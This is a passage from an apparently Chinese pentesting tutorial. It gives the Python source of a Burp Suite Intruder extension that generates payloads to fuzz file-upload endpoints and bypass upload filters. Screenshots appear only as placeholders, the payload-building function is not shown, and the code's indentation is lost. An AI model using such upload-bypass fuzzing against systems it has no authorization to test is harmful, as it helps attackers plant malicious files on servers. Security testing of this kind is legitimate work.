callbacks.registerIntruderPayloadGeneratorFactory(self)
print 'Load successful - auther:ske\n'

# 设置payload生成器名字,作为选项显示在Intruder UI中。
def getGeneratorName(self):
return "upload fuzz intruder"

# 创建payload生成器实例,传入的attack是IIntruderAttack的实例
def createNewInstance(self, attack):
return demoFuzzer(self, attack)

def getProcessorName(self):
return "upload fuzz"

def processPayload(self, currentPayload, originalPayload, baseValue):
# print 'processPayload called'
payload = "".join(chr(x) for x in baseValue) # 通过该行代码将array('b', [106, 112, 103])转换为jpg字符串
attackPayload = payload + currentPayload
return attackPayload

# 继承IIntruderPayloadGenerator类
class demoFuzzer(IIntruderPayloadGenerator):
def __init__(self, extender, attack):
self._extender = extender
self._helpers = extender._helpers
self._attack = attack
self.num_payloads = 0 # payload使用了的次数
self._payloadIndex = 0
self.attackPayloads = [1] # 存储生成的fuzz payloads

# hasMorePayloads返回一个bool值,如果返回false就不在继续返回下一个payload,如果返回true就返回下一个payload
def hasMorePayloads(self):
# print "hasMorePayloads called."
return self._payloadIndex < len(self.attackPayloads)

# 获取下一个payload,然后intruder就会用该payload发送请求
def getNextPayload(self, baseValue):
# print 'getNextPayload called'
TEMPLATE = "".join(chr(x) for x in baseValue)
if self._payloadIndex == 0:
self.attackPayloads = getAttackPayloads(TEMPLATE)

payload = self.attackPayloads[self._payloadIndex]
self._payloadIndex = self._payloadIndex + 1

return payload

# 清空,以便下一次调用 getNextPayload()再次返回第一个有效负载。
def reset(self):
# print "reset called."
self.num_payloads = 0
return

效果如下:

加载py脚本

图片

必须要按照下图格式设置变量

图片

图片

图片

图片

图片

图片

当你学到这里的时候,恭喜你以后遇到上传点,不需要绞尽脑汁的去想各种绕过姿势,只需要不断的完善插件payloads生成,以后上传漏洞就交给插件完成即可。